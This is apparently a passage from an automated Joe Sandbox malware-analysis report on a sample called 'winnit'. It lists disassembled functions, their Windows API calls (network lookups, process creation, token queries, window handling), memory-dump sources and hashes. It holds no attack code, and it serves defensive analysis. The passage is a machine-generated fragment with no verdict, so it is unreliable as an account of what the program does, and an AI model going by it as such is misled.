                                            • Part of subcall function 00B0810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00B0812B
                                            • Part of subcall function 00B0810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B0813A
                                            • Part of subcall function 00B0810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00B08141
                                            • Part of subcall function 00B0810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B08157
                                          • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00B086A3
                                          • _memcmp.LIBCMT ref: 00B086C6
                                          • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B086FC
                                          • HeapFree.KERNEL32(00000000), ref: 00B08703
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
                                          • String ID:
                                          • API String ID: 1592001646-0
                                          • Opcode ID: 80b237dd11b1f33293064b5aac42a8b56e2ef88520c2dedc6921b3c1b26eb41e
                                          • Instruction ID: 1af53d45b1716e5348eb2b21c60c79fdd57c5955805ae773590b5feea1f751f5
                                          • Opcode Fuzzy Hash: 80b237dd11b1f33293064b5aac42a8b56e2ef88520c2dedc6921b3c1b26eb41e
                                          • Instruction Fuzzy Hash: AA217C71E00209EFDB10DFA4C949BEEBBF8EF44304F154099E485A7281DB31AE05CB90
                                          Function 00AD098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                          Download Yara Rule
                                          APIs
                                          • __setmode.LIBCMT ref: 00AD09AE
                                            • Part of subcall function 00AB5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00B17896,?,?,00000000), ref: 00AB5A2C
                                            • Part of subcall function 00AB5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00B17896,?,?,00000000,?,?), ref: 00AB5A50
                                          • _fprintf.LIBCMT ref: 00AD09E5
                                          • OutputDebugStringW.KERNEL32(?), ref: 00B05DBB
                                            • Part of subcall function 00AD4AAA: _flsall.LIBCMT ref: 00AD4AC3
                                          • __setmode.LIBCMT ref: 00AD0A1A
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
                                          • String ID:
                                          • API String ID: 521402451-0
                                          • Opcode ID: a9bd8c41029216db00bbf5003c6b78a250050b2b6326fe59a21c537ca0c1136e
                                          • Instruction ID: dc6e3697f49861ca2fec6f1593271de4cbad22ba5b2033aff004cc9bdb3ea58a
                                          • Opcode Fuzzy Hash: a9bd8c41029216db00bbf5003c6b78a250050b2b6326fe59a21c537ca0c1136e
                                          • Instruction Fuzzy Hash: D71105319042046FD704B7B49C46EFE7BACAF49360F64016BF20667293EE305D8257A1
                                          Function 00B21767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00B217A3
                                            • Part of subcall function 00B2182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00B2184C
                                            • Part of subcall function 00B2182D: InternetCloseHandle.WININET(00000000), ref: 00B218E9
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Internet$CloseConnectHandleOpen
                                          • String ID:
                                          • API String ID: 1463438336-0
                                          • Opcode ID: b642d95d4cdf0707c0a49468ba5929a0b09602371ef64c6daa416da5ef0aa050
                                          • Instruction ID: 776d75881b3618fe090441f1ae80d4221aa7cecab3c1044d565335d4c939f33f
                                          • Opcode Fuzzy Hash: b642d95d4cdf0707c0a49468ba5929a0b09602371ef64c6daa416da5ef0aa050
                                          • Instruction Fuzzy Hash: B2210731200611BFDB129F64EC80F7AB7E9FF58700F10082AFA199A260DB3198119790
                                          Function 00B13A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetFileAttributesW.KERNEL32(?,00B3FAC0), ref: 00B13A64
                                          • GetLastError.KERNEL32 ref: 00B13A73
                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00B13A82
                                          • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00B3FAC0), ref: 00B13ADF
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CreateDirectory$AttributesErrorFileLast
                                          • String ID:
                                          • API String ID: 2267087916-0
                                          • Opcode ID: 79903a5f506e636f63fa9c497faa522cc61504d463d3cac61ab3e8c4205cbe54
                                          • Instruction ID: 564dccf889c5fb2df145229383b3e5769cfe5be9239b073f905df05956b49112
                                          • Opcode Fuzzy Hash: 79903a5f506e636f63fa9c497faa522cc61504d463d3cac61ab3e8c4205cbe54
                                          • Instruction Fuzzy Hash: 1E2197745082029F8710EF24C9818EF77E8EF55764F644A6DF499C72A2EB31DE85CB82
                                          Function 00AE50E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • _free.LIBCMT ref: 00AE5101
                                            • Part of subcall function 00AD571C: __FF_MSGBANNER.LIBCMT ref: 00AD5733
                                            • Part of subcall function 00AD571C: __NMSG_WRITE.LIBCMT ref: 00AD573A
                                            • Part of subcall function 00AD571C: RtlAllocateHeap.NTDLL(00F30000,00000000,00000001,00000000,?,?,?,00AD0DD3,?), ref: 00AD575F
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AllocateHeap_free
                                          • String ID:
                                          • API String ID: 614378929-0
                                          • Opcode ID: 8d3f4db6053fdeb8e2c9d7095af12c0e60ecd328bfde64def53acd7dd46b5381
                                          • Instruction ID: 2b3e890910cfbedfb3f4878cc8326d3ee18cba552942466e35afa90b965ad85a
                                          • Opcode Fuzzy Hash: 8d3f4db6053fdeb8e2c9d7095af12c0e60ecd328bfde64def53acd7dd46b5381
                                          • Instruction Fuzzy Hash: 4311C272D04A52AFCF313F76BD45B6E3798AF143A5F20062BF90A9B261DE34C9409790
                                          Function 00AB44A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00AB44CF
                                            • Part of subcall function 00AB407C: _memset.LIBCMT ref: 00AB40FC
                                            • Part of subcall function 00AB407C: _wcscpy.LIBCMT ref: 00AB4150
                                            • Part of subcall function 00AB407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00AB4160
                                          • KillTimer.USER32(?,00000001,?,?), ref: 00AB4524
                                          • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00AB4533
                                          • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00AED4B9
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                          • String ID:
                                          • API String ID: 1378193009-0
                                          • Opcode ID: b7b7c464ccae3a26ee686e9549be21fee5e050d35ad75907caea68dad2d4b585
                                          • Instruction ID: 8061e9be0ce8046d7a2bf514b56c60e68f170cb73af17fe8e7ef88ad8d009e9c
                                          • Opcode Fuzzy Hash: b7b7c464ccae3a26ee686e9549be21fee5e050d35ad75907caea68dad2d4b585
                                          • Instruction Fuzzy Hash: FE21D7749047849FE7329B248855BEABBECAF15314F04009DE69E5B283C7746D84CB51
                                          Function 00B26369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00B17896,?,?,00000000), ref: 00AB5A2C
                                            • Part of subcall function 00AB5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00B17896,?,?,00000000,?,?), ref: 00AB5A50
                                          • gethostbyname.WSOCK32(?,?,?), ref: 00B26399
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00B263A4
                                          • _memmove.LIBCMT ref: 00B263D1
                                          • inet_ntoa.WSOCK32(?), ref: 00B263DC
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
                                          • String ID:
                                          • API String ID: 1504782959-0
                                          • Opcode ID: cb7fdaebb50770a4e0cc0a06d85d9890964bde8011b5dc93fb69e787784bf7bd
                                          • Instruction ID: fe35e2a68afc385710b905a0e7718766c46d966957c163a030170837d514c8d4
                                          • Opcode Fuzzy Hash: cb7fdaebb50770a4e0cc0a06d85d9890964bde8011b5dc93fb69e787784bf7bd
                                          • Instruction Fuzzy Hash: 2E112E3190010AAFCB04FBA4DE86DEEB7BCAF09310B144565F506A7262DF31EE14DB61
                                          Function 00B08B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 00B08B61
                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B08B73
                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B08B89
                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B08BA4
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend
                                          • String ID:
                                          • API String ID: 3850602802-0
                                          • Opcode ID: 2683280f07b0a96b612b2487b48ea6ee0d0c63324b69bc976f8f5dbd9f253809
                                          • Instruction ID: 724f9c1626ebdc8b68128fe1ee7899dd478f266780f4efe4a6bd465a8f1788ba
                                          • Opcode Fuzzy Hash: 2683280f07b0a96b612b2487b48ea6ee0d0c63324b69bc976f8f5dbd9f253809
                                          • Instruction Fuzzy Hash: 86111C79901218FFDB11DF95CD85FADBBB4FB48710F204095E940B7290DA716E11DB94
                                          Function 00AB1290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB2612: GetWindowLongW.USER32(?,000000EB), ref: 00AB2623
                                          • DefDlgProcW.USER32(?,00000020,?), ref: 00AB12D8
                                          • GetClientRect.USER32(?,?), ref: 00AEB5FB
                                          • GetCursorPos.USER32(?), ref: 00AEB605
                                          • ScreenToClient.USER32(?,?), ref: 00AEB610
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Client$CursorLongProcRectScreenWindow
                                          • String ID:
                                          • API String ID: 4127811313-0
                                          • Opcode ID: 5ad3b5373c1e569d5231085750ff221c23e030a9d71f43aaf2ea6c9d2f8f20eb
                                          • Instruction ID: 96026d7bb20212da965bc05e2f3328019a7c1df532023239c5fc8b40add38a80
                                          • Opcode Fuzzy Hash: 5ad3b5373c1e569d5231085750ff221c23e030a9d71f43aaf2ea6c9d2f8f20eb
                                          • Instruction Fuzzy Hash: D3112836A0001AABCB14DF98D999DFE77BCEB05301FA00466F951E7152CB30BA52CBA5
                                          Function 00B11142 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00B0FCED,?,00B10D40,?,00008000), ref: 00B1115F
                                          • Sleep.KERNEL32(00000000,?,?,?,?,?,?,00B0FCED,?,00B10D40,?,00008000), ref: 00B11184
                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00B0FCED,?,00B10D40,?,00008000), ref: 00B1118E
                                          • Sleep.KERNEL32(?,?,?,?,?,?,?,00B0FCED,?,00B10D40,?,00008000), ref: 00B111C1
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CounterPerformanceQuerySleep
                                          • String ID:
                                          • API String ID: 2875609808-0
                                          • Opcode ID: 0ca0176e67775a69e819506066d2ae74397caf8d739c3638724ffc7b9f46a41d
                                          • Instruction ID: d67e5f7a2b96c7906c3be621e5b64e2b315250542f524c7c0ae2f578e44fe573
                                          • Opcode Fuzzy Hash: 0ca0176e67775a69e819506066d2ae74397caf8d739c3638724ffc7b9f46a41d
                                          • Instruction Fuzzy Hash: 86111835D00919E7CF009FA9E988BEEFBB8FB09751F504895EB41B2240CB7095A08BA5
                                          Function 00B0D831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00B0D84D
                                          • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00B0D864
                                          • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00B0D879
                                          • RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00B0D897
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Type$Register$FileLoadModuleNameUser
                                          • String ID:
                                          • API String ID: 1352324309-0
                                          • Opcode ID: 98cb002df809af48009463a3d3969e63e45358fbd7cab32e668a6bbcef07e6b0
                                          • Instruction ID: db5d3a4626946a23f945dfae9088a82e68d2cb9c5a4d08ee53419d1b0737d380
                                          • Opcode Fuzzy Hash: 98cb002df809af48009463a3d3969e63e45358fbd7cab32e668a6bbcef07e6b0
                                          • Instruction Fuzzy Hash: 5D115E75A05305EBE7208F90ED48FA6BBFCEB00B10F50C5A9A516D71D0D7B0E5499BA1
                                          Function 00AE6FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                          • String ID:
                                          • API String ID: 3016257755-0
                                          • Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                          • Instruction ID: 7b276a5bd8264599e575fcebc3727bde643382d3eb68a630f0affd2d7620a113
                                          • Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                          • Instruction Fuzzy Hash: 92015E7244818EBBCF165F89CC11CEE3F62BB28395F588415FE1958031D736CAB1AB81
                                          Function 00B3B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetWindowRect.USER32(?,?), ref: 00B3B2E4
                                          • ScreenToClient.USER32(?,?), ref: 00B3B2FC
                                          • ScreenToClient.USER32(?,?), ref: 00B3B320
                                          • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B3B33B
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ClientRectScreen$InvalidateWindow
                                          • String ID:
                                          • API String ID: 357397906-0
                                          • Opcode ID: be3364a3998807b545a4ce30116d9ee8853a5d2279e1fe2d97d7197c042c545f
                                          • Instruction ID: 5430c9c68e4228c86036f1e0477e8a4719cb90a7c0673678af56d3527e986e36
                                          • Opcode Fuzzy Hash: be3364a3998807b545a4ce30116d9ee8853a5d2279e1fe2d97d7197c042c545f
                                          • Instruction Fuzzy Hash: 081143B9D0060AEFDB41CFA9C8859EEBBF9FB08310F108166E914E3224D735AA55CF50
                                          Function 00B3B635 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B3B644
                                          • _memset.LIBCMT ref: 00B3B653
                                          • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00B76F20,00B76F64), ref: 00B3B682
                                          • CloseHandle.KERNEL32 ref: 00B3B694
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memset$CloseCreateHandleProcess
                                          • String ID:
                                          • API String ID: 3277943733-0
                                          • Opcode ID: 9a3f7331a9eb18725cf17275a599928134ebb6a3632faf64ce29b292d87c1957
                                          • Instruction ID: b0f172b88d2276df498515323b4b2f6debf2c579b373fd16b5310b1cefdf134c
                                          • Opcode Fuzzy Hash: 9a3f7331a9eb18725cf17275a599928134ebb6a3632faf64ce29b292d87c1957
                                          • Instruction Fuzzy Hash: CCF0DAB25407047AE3102B65BC46FBB7B9CEB19795F004061FA4DEB192DB7558508BA8
                                          Function 00B16BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                          Download Yara Rule
                                          APIs
                                          • EnterCriticalSection.KERNEL32(?), ref: 00B16BE6
                                            • Part of subcall function 00B176C4: _memset.LIBCMT ref: 00B176F9
                                          • _memmove.LIBCMT ref: 00B16C09
                                          • _memset.LIBCMT ref: 00B16C16
                                          • LeaveCriticalSection.KERNEL32(?), ref: 00B16C26
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CriticalSection_memset$EnterLeave_memmove
                                          • String ID:
                                          • API String ID: 48991266-0
                                          • Opcode ID: aa315ab1a27a5b5dfb3d7d784023b3b6dc0f432e4e1e0a14f01dae91850f72e6
                                          • Instruction ID: 634ac122d31b632c967f9ec0934f3d9afa480e87ba80a44644ebbde196004432
                                          • Opcode Fuzzy Hash: aa315ab1a27a5b5dfb3d7d784023b3b6dc0f432e4e1e0a14f01dae91850f72e6
                                          • Instruction Fuzzy Hash: BCF05E3A200100BBCF016F95DC85E8ABB6AEF45320F1880A1FE095F267CB71E851CBB4
                                          Function 00AB2218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetSysColor.USER32(00000008), ref: 00AB2231
                                          • SetTextColor.GDI32(?,000000FF), ref: 00AB223B
                                          • SetBkMode.GDI32(?,00000001), ref: 00AB2250
                                          • GetStockObject.GDI32(00000005), ref: 00AB2258
                                          • GetWindowDC.USER32(?,00000000), ref: 00AEBE83
